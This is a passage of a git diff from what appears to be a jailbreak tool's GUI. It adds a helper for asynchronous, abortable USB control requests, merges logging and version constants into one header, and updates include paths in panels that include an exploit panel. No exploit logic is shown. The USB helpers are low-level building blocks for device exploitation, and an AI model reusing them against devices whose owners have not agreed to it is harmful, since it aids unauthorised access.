send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret) { + bool ret = false; + void *p_data; + + if(w_len == 0) { + ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, NULL, 0, usb_abort_timeout, transfer_ret); + } else if((p_data = malloc(w_len)) != NULL) { + memset(p_data, '\0', w_len); + ret = send_usb_control_request_async(handle, bm_request_type, b_request, w_value, w_index, p_data, w_len, usb_abort_timeout, transfer_ret); + free(p_data); + } + return ret; +} diff --git a/src/usb/usb_shim.h b/src/usb/usb_shim.h new file mode 100644 index 0000000..5abed89 --- /dev/null +++ b/src/usb/usb_shim.h @@ -0,0 +1,14 @@ +#ifndef BACKEND_SHIM_H +#define BACKEND_SHIM_H + +#ifdef __APPLE__ +# include "usb_iokit.h" +#else +# include "usb_libusb.h" +#endif + +bool send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, transfer_ret_t *transfer_ret); +bool send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout, transfer_ret_t *transfer_ret); +char *get_usb_serial_number(usb_handle_t *handle); + +#endif // BACKEND_SHIM_H diff --git a/src/utils.h b/src/utils.h new file mode 100644 index 0000000..abf7f8a --- /dev/null +++ b/src/utils.h @@ -0,0 +1,32 @@ +#ifndef CONSTANTS_H +#define CONSTANTS_H + +#define PALERAIN_VERSION "3.0.0" + +#include +#include + +#ifdef __WIN32 +# include +#else +# include +#endif + +#define LOG(fmt, ...) \ +printf("(%s:%d) => " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__) + +static void sleep_ms(unsigned ms) { + #ifdef __WIN32 + Sleep(ms); + #else + struct timespec ts; + + ts.tv_sec = ms / 1000; + ts.tv_nsec = (ms % 1000) * 1000000L; + nanosleep(&ts, NULL); + #endif +} + +static uint64_t palerain_flags = 0; + +#endif // CONSTANTS_H diff --git a/src/utils/constants.cpp b/src/utils/constants.cpp deleted file mode 100644 index b9aa5b6..0000000 --- a/src/utils/constants.cpp +++ /dev/null @@ -1,3 +0,0 @@ -#include "constants.h" - -uint64_t palerain_flags = 0; diff --git a/src/utils/constants.h b/src/utils/constants.h deleted file mode 100644 index 1cb9f67..0000000 --- a/src/utils/constants.h +++ /dev/null @@ -1,10 +0,0 @@ -#ifndef CONSTANTS_H -#define CONSTANTS_H - -#define PALERAIN_VERSION "3.0.0" - -#include - -extern uint64_t palerain_flags; - -#endif // CONSTANTS_H diff --git a/src/utils/log.h b/src/utils/log.h deleted file mode 100644 index 38d852d..0000000 --- a/src/utils/log.h +++ /dev/null @@ -1,19 +0,0 @@ -#ifndef LOG_H -#define LOG_H - -#include - -#define RESET_COLOR "\033[0m" -#define RED_COLOR "\033[31m" -#define GREEN_COLOR "\033[32m" -#define YELLOW_COLOR "\033[33m" -#define BLUE_COLOR "\033[34m" -#define MAGENTA_COLOR "\033[35m" -#define CYAN_COLOR "\033[36m" -#define WHITE_COLOR "\033[37m" -#define GRAY_COLOR "\033[90m" - -#define LOG(fmt, ...) \ -printf("(%s:%d) => " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__) - -#endif // LOG_H diff --git a/src/wx/AppFrame.cpp b/src/wx/AppFrame.cpp index 29f98a4..c723a10 100644 --- a/src/wx/AppFrame.cpp +++ b/src/wx/AppFrame.cpp @@ -3,7 +3,7 @@ #include "AppFrame.hpp" #include -#include "../utils/constants.h" +#include "../utils.h" #include "../event.hpp" #include diff --git a/src/wx/DfuPanel.cpp b/src/wx/DfuPanel.cpp index d363a2c..e6cb1ae 100644 --- a/src/wx/DfuPanel.cpp +++ b/src/wx/DfuPanel.cpp @@ -6,7 +6,7 @@ #include "DevicePanel.hpp" #include "../state.hpp" #include "../sequence.hpp" -#include "../utils/log.h" +#include "../utils.h" #include diff --git a/src/wx/ExploitPanel.cpp b/src/wx/ExploitPanel.cpp index d34aae7..d68a8b8 100644 --- a/src/wx/ExploitPanel.cpp +++ b/src/wx/ExploitPanel.cpp @@ -9,7 +9,7 @@ #include "AppFrame.hpp" #include "DevicePanel.hpp" #include "../state.hpp" -#include "../utils/log.h" +#include "../utils.h" ExploitPanel::ExploitPanel(MainFrame* frame, wxWindow* parent) : DevicePanel(frame, parent) diff --git a/src/wx/SettingsPanel.cpp b/src/wx/SettingsPanel.cpp index 11960bd..4728153 100644 --- a/src/wx/SettingsPanel.cpp +++ b/src/wx/SettingsPanel.cpp @@ -6,8 +6,8 @@ #include "AppFrame.hpp" #include "DevicePanel.hpp" -#include "../utils/constants.h" -#include "../utils/paleinfo.h" +#include "../utils.h" +#include "../paleinfo.h" SettingsPanel::SettingsPanel(MainFrame* frame, wxWindow* parent) : DevicePanel(frame, parent)